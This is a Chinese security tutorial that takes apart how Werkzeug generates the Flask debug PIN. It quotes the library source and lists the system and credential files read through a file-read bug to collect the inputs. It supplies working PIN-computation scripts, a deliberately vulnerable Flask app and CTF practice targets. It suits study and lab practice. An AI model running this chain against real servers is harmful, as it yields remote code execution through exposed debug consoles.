最近搞SSTI,发现有的开发开了debug,由此想到了PIN,但一直没有对这个点做一个深入剖析,今天就完整的整理Flask Debug PIN码的生成原理与安全问题。
PIN是 Werkzeug(它是 Flask 的依赖项之一)提供的额外安全措施,以防止在不知道 PIN 的情况下访问调试器。 您可以使用浏览器中的调试器引脚来启动交互式调试器。
请注意,无论如何,您都不应该在生产环境中使用调试模式,因为错误的堆栈跟踪可能会揭示代码的多个方面。
调试器 PIN 只是一个附加的安全层,以防您无意中在生产应用程序中打开调试模式,从而使攻击者难以访问调试器。
——来自StackOverFlow回答
werkzeug不同版本以及python不同版本都会影响PIN码的生成
但是PIN码并不是随机生成,当我们重复运行同一程序时,生成的PIN一样,PIN码生成满足一定的生成算法
笔者环境
Python 3.10.2
Flask 2.0.3
PyCharm 2021.3.3 (Professional Edition)
Windows 10 专业版 21H2
Docker Desktop 4.7.0
先写一个简单的Flask测试程序
- from flask import Flask
- app = Flask(__name__)
-
-
- @app.route("/")
- def hello():
- return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'
-
-
- if __name__ == "__main__":
- app.run(host="0.0.0.0", port=8080, debug=True)
运行,控制台状态如下
浏览器如下则成功
接下来开始调试程序,顺藤摸瓜找到生成PIN码的函数
PIN码是werkzeug的策略,先找到flask中导入werkzeug的部分
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在run.app行下断点,点击调试
点击步入
转到了flask/app.py,直接Ctrl+F搜索werkzeug
发现程序从werkzeug导入了run_simple模块,而且try部分有run app的参数
我们直接按住ctrl点击run_simple进去看看
此时进入了seving.py,找到了负责Debug的部分,PIN码是在debug状态下才有的,那这个部分很有可能存有PIN码生成部分,进去看看
此时进入了__init__.py,经过一番审计,先来看一看pin函数
主要是get_pin_and_cookie_name函数,进去看看
- def get_pin_and_cookie_name(
- app: "WSGIApplication",
- ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
- """Given an application object this returns a semi-stable 9 digit pin
- code and a random key. The hope is that this is stable between
- restarts to not make debugging particularly frustrating. If the pin
- was forcefully disabled this returns `None`.
-
- Second item in the resulting tuple is the cookie name for remembering.
- """
- pin = os.environ.get("WERKZEUG_DEBUG_PIN")
- rv = None
- num = None
-
- # Pin was explicitly disabled
- if pin == "off":
- return None, None
-
- # Pin was provided explicitly
- if pin is not None and pin.replace("-", "").isdigit():
- # If there are separators in the pin, return it directly
- if "-" in pin:
- rv = pin
- else:
- num = pin
-
- modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
- username: t.Optional[str]
-
- try:
- # getuser imports the pwd module, which does not exist in Google
- # App Engine. It may also raise a KeyError if the UID does not
- # have a username, such as in Docker.
- username = getpass.getuser()
- except (ImportError, KeyError):
- username = None
-
- mod = sys.modules.get(modname)
-
- # This information only exists to make the cookie unique on the
- # computer, not as a security feature.
- probably_public_bits = [
- username,
- modname,
- getattr(app, "__name__", type(app).__name__),
- getattr(mod, "__file__", None),
- ]
-
- # This information is here to make it harder for an attacker to
- # guess the cookie name. They are unlikely to be contained anywhere
- # within the unauthenticated debug page.
- private_bits = [str(uuid.getnode()), get_machine_id()]
-
- h = hashlib.sha1()
- for bit in chain(probably_public_bits, private_bits):
- if not bit:
- continue
- if isinstance(bit, str):
- bit = bit.encode("utf-8")
- h.update(bit)
- h.update(b"cookiesalt")
-
- cookie_name = f"__wzd{h.hexdigest()[:20]}"
-
- # If we need to generate a pin we salt it a bit more so that we don't
- # end up with the same value and generate out 9 digits
- if num is None:
- h.update(b"pinsalt")
- num = f"{int(h.hexdigest(), 16):09d}"[:9]
-
- # Format the pincode in groups of digits for easier remembering if
- # we don't have a result yet.
- if rv is None:
- for group_size in 5, 4, 3:
- if len(num) % group_size == 0:
- rv = "-".join(
- num[x : x + group_size].rjust(group_size, "0")
- for x in range(0, len(num), group_size)
- )
- break
- else:
- rv = num
-
- return rv, cookie_name
返回的rv就是PIN码,但这个函数核心是将列表里的值hash,我们不需要去读懂这段代码,只需要将列表里的值填上直接运行代码就行。
username
通过getpass.getuser()读取,通过文件读取
/etc/passwd
modname
通过getattr(mod,“file”,None)读取,默认值为flask.app
appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir
当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
uuidnode
通过uuid.getnode()读取,通过文件
/sys/class/net/eth0/address
得到16进制结果,转化为10进制进行计算machine_id
每一个机器都会有自已唯一的id,machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
当这6个值我们可以获取到时,就可以推算出生成的PIN码
修改一下就是PIN生成算法
- import hashlib
- from itertools import chain
-
- probably_public_bits = [
- 'root', # username
- 'flask.app', # modname
- 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
- '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
- ]
-
- # This information is here to make it harder for an attacker to
- # guess the cookie name. They are unlikely to be contained anywhere
- # within the unauthenticated debug page.
- private_bits = [
- '2485377957890', # str(uuid.getnode()), /sys/class/net/ens33/address
- # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
- '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
- ]
-
- h = hashlib.sha1()
- for bit in chain(probably_public_bits, private_bits):
- if not bit:
- continue
- if isinstance(bit, str):
- bit = bit.encode("utf-8")
- h.update(bit)
- h.update(b"cookiesalt")
-
- cookie_name = f"__wzd{h.hexdigest()[:20]}"
-
- # If we need to generate a pin we salt it a bit more so that we don't
- # end up with the same value and generate out 9 digits
- num = None
- if num is None:
- h.update(b"pinsalt")
- num = f"{int(h.hexdigest(), 16):09d}"[:9]
-
- # Format the pincode in groups of digits for easier remembering if
- # we don't have a result yet.
- rv = None
- if rv is None:
- for group_size in 5, 4, 3:
- if len(num) % group_size == 0:
- rv = "-".join(
- num[x: x + group_size].rjust(group_size, "0")
- for x in range(0, len(num), group_size)
- )
- break
- else:
- rv = num
-
- print(rv)
然后这里还有一个点,python不同版本的算法区别
3.6采用MD5加密,3.8采用sha1加密,所以脚本有所不同
3.6 MD5
- #MD5
- import hashlib
- from itertools import chain
- probably_public_bits = [
- 'flaskweb'
- 'flask.app',
- 'Flask',
- '/usr/local/lib/python3.7/site-packages/flask/app.py'
- ]
-
- private_bits = [
- '25214234362297',
- '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
- ]
-
- h = hashlib.md5()
- for bit in chain(probably_public_bits, private_bits):
- if not bit:
- continue
- if isinstance(bit, str):
- bit = bit.encode('utf-8')
- h.update(bit)
- h.update(b'cookiesalt')
-
- cookie_name = '__wzd' + h.hexdigest()[:20]
-
- num = None
- if num is None:
- h.update(b'pinsalt')
- num = ('%09d' % int(h.hexdigest(), 16))[:9]
-
- rv =None
- if rv is None:
- for group_size in 5, 4, 3:
- if len(num) % group_size == 0:
- rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
- for x in range(0, len(num), group_size))
- break
- else:
- rv = num
-
- print(rv)
3.8 SHA1
- #sha1
- import hashlib
- from itertools import chain
- probably_public_bits = [
- 'root'
- 'flask.app',
- 'Flask',
- '/usr/local/lib/python3.8/site-packages/flask/app.py'
- ]
-
- private_bits = [
- '2485377581187',
- '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
- ]
-
- h = hashlib.sha1()
- for bit in chain(probably_public_bits, private_bits):
- if not bit:
- continue
- if isinstance(bit, str):
- bit = bit.encode('utf-8')
- h.update(bit)
- h.update(b'cookiesalt')
-
- cookie_name = '__wzd' + h.hexdigest()[:20]
-
- num = None
- if num is None:
- h.update(b'pinsalt')
- num = ('%09d' % int(h.hexdigest(), 16))[:9]
-
- rv =None
- if rv is None:
- for group_size in 5, 4, 3:
- if len(num) % group_size == 0:
- rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
- for x in range(0, len(num), group_size))
- break
- else:
- rv = num
-
- print(rv)
其实最稳妥的方法就是自己调试,把自己版本的生成PIN部分提取出来,把num和rv改成None,直接print rv就行
本地docker在Windows上
我们将上面的测试代码修改为下,加入文件读取功能,并且return 0当我们传值错误可出发debug模式
- from flask import Flask, request
- app = Flask(__name__)
-
-
- @app.route("/")
- def hello():
- return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'
-
-
- @app.route("/file")
- def file():
- filename = request.args.get('filename')
- try:
- with open(filename, 'r') as f:
- return f.read()
- except:
- return 0
-
-
- if __name__ == "__main__":
- app.run(host="0.0.0.0", port=9000, debug=True)
回到我们的环境,模块路径通过传入错误文件名触发报错可得到,主要就是machine-id,其他部分直接出的就不用看了,docker环境只需要后俩
拼接起来,代入程序,直接运行
与环境里的一致
如果大家嫌开环境麻烦这里推荐两个线上靶场,这俩都是计算PIN
[GYCTF2020]FlaskApp——BUUCTF
web801——CTFshow
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